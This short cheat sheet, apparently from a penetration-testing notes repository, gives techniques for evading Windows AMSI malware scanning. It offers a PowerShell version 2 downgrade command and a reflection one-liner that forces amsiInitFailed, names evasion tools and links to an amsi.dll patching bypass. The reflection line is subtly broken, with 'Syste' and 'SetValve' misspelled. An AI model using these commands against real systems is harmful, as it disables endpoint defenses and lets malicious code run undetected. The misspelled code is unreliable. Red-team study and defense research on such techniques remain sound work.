Anti-Malware Scanning Interface (AMSI) Evasion (Runtime Detection Evasion)

Powershell Downgrade

powershell -Version 2

Powershell Reflection

[Ref].Assembly.GetType('Syste.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValve($null,$true)

Automation

Tools: amsi.fail, AmsiTrigger

Patching amsi.dll

See a separate file in this repo.

Resource: https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/main/AmsiBypass.cs

Resource to practice AMSI bypass obfuscation techniques: https://github.com/RythmStick/AMSITrigger